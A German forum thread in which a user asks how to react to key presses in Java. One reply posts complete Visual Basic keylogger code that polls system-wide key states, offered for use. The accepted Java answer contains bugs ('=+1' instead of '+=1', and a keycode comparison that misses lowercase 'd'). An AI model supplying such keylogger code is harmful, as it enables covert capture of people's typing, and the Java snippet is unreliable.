Ich würde gerne wissen wie man einen KeyEvent Abfang dings benutzt
lima-city → Forum → Programmiersprachen → Java
anzahl
beispiel
beitrag
drucken
exit
fragen
glaskugel
insert
listen
methode
option
page
pausen
pfeiltaste
result
right
schrott
sinnvolle antwort
tasten
variable
-
Guden, ich w?rde gerne wissen wie man den wert einer variable erh?ht wenn man die taste "d" oder eine pfeiltaste dr?ckt. aber bitte bitte bitte gebt mir dem ganzen code und lasst nicht die h?lfte weg. ich kenn die einzelnen teile-glaub ich- aber habe keinen peil wie man das zusammensetzt.
-
Diskutiere mit und stelle Fragen: Jetzt kostenlos anmelden!
lima-city: Gratis werbefreier Webspace für deine eigene Homepage
-
Guden, ich w?rde gerne wissen wie man den wert einer variable erh?ht wenn man die taste "d" oder eine pfeiltaste dr?ckt. aber bitte bitte bitte gebt mir dem ganzen code und lasst nicht die h?lfte weg. ich kenn die einzelnen teile-glaub ich- aber habe keinen peil wie man das zusammensetzt.
moment, ich hol mal die Glaskugel raus.
hmm - du willst nen keylogger schreiben? -
Wenn du einen Keylogger willst hab ich da was f?r dich:
Du brauchst ein Texdfeld und einen Timer und dann f?ge einfach diesen VB Code ein:
------------------------------------------------
Option Explicit
Private Declare Function GetAsyncKeyState Lib "user32" _
(ByVal vKey As Long) As Integer
Private Sub Timer1_Timer()
Dim X As Long
For X = 48 To 90
If CompKey(X, UCase(Chr$(X))) Then Exit Sub
If CompKey(X + 48, UCase("NUM " & Chr$(X))) Then Exit Sub
Next X
If CompKey(8, "BACKSPACE") Then Exit Sub
If CompKey(9, "TAB") Then Exit Sub
If CompKey(13, "ENTER") Then Exit Sub
If CompKey(16, "SHIFT") Then Exit Sub
If CompKey(17, "STRG") Then Exit Sub
If CompKey(18, "ALT") Then Exit Sub
If CompKey(19, "PAUSE") Then Exit Sub
If CompKey(27, "ESC") Then Exit Sub
If CompKey(33, "PAGE UP") Then Exit Sub
If CompKey(34, "PAGE DOWN") Then Exit Sub
If CompKey(35, "ENDE") Then Exit Sub
If CompKey(36, "POS1") Then Exit Sub
If CompKey(37, "LEFT") Then Exit Sub
If CompKey(38, "UP") Then Exit Sub
If CompKey(39, "RIGHT") Then Exit Sub
If CompKey(40, "DOWN") Then Exit Sub
If CompKey(44, "DRUCK") Then Exit Sub
If CompKey(45, "INSERT") Then Exit Sub
If CompKey(46, "DEL") Then Exit Sub
If CompKey(144, "NUM") Then Exit Sub
If CompKey(145, "ROLLEN") Then Exit Sub
For X = 112 To 127
If CompKey(X, "F" & CStr(X - 111)) Then Exit Sub
Next X
' usw... usw...
End Sub
Private Function CompKey(KCode As Long, KText As String) As Boolean
Dim Result As Integer
Result = GetAsyncKeyState(KCode)
If Result = -32767 Then
Text1.Text = Text1.Text & "[" & KText & "]" & vbCrLf
Text1.SelStart = Len(Text1.Text)
CompKey = True
Else
CompKey = False
End If
End Function
-----------------------------------------------
Kann ganz leicht Erweitert werden, du brauchst nur ne Liste mit den Tasten Codes, die findest du im Katalok wenn du "KeyCodeConstants" eingibst.
-----------------------------------------------
Und fertige gibts es schon genug einfach mal googeln. Zu Java hab ich kein Beispiel gewusst.
MfG, Felix
Beitrag ge?ndert am 18.04.2006 09:12 von felixbayer
Beitrag ge?ndert am 18.04.2006 09:13 von felixbayer -
Ich gebe Dir mal eine ziemlich simple Methode:
int anzahl = 0;
public void keyTyped(KeyEvent event)
{
char key = event.getKeyChar();
if (key == KeyEvent.VK_D) { // wird D gedr?ckt...
anzahl=+1; // erh?ht sich die Anzahl um den Wert 1
}
}
Denk dran dass Du noch einen KeyListener implementieren musst. -
puni schrieb:
Ich gebe Dir mal eine ziemlich simple Methode:
int anzahl = 0;
public void keyTyped(KeyEvent event)
{
char key = event.getKeyChar();
if (key == KeyEvent.VK_D) { // wird D gedr?ckt...
anzahl=+1; // erh?ht sich die Anzahl um den Wert 1
}
}
Denk dran dass Du noch einen KeyListener implementieren musst.
Danke an dich, der Rest von denen war Schrott. Allm?hlich hab ich das Gef?hl wenn ich ne Frage in Java hab kann ich auch gleich dich Fragen wenn ich eine sinnvolle Antwort haben will. -
Diskutiere mit und stelle Fragen: Jetzt kostenlos anmelden!
lima-city: Gratis werbefreier Webspace für deine eigene Homepage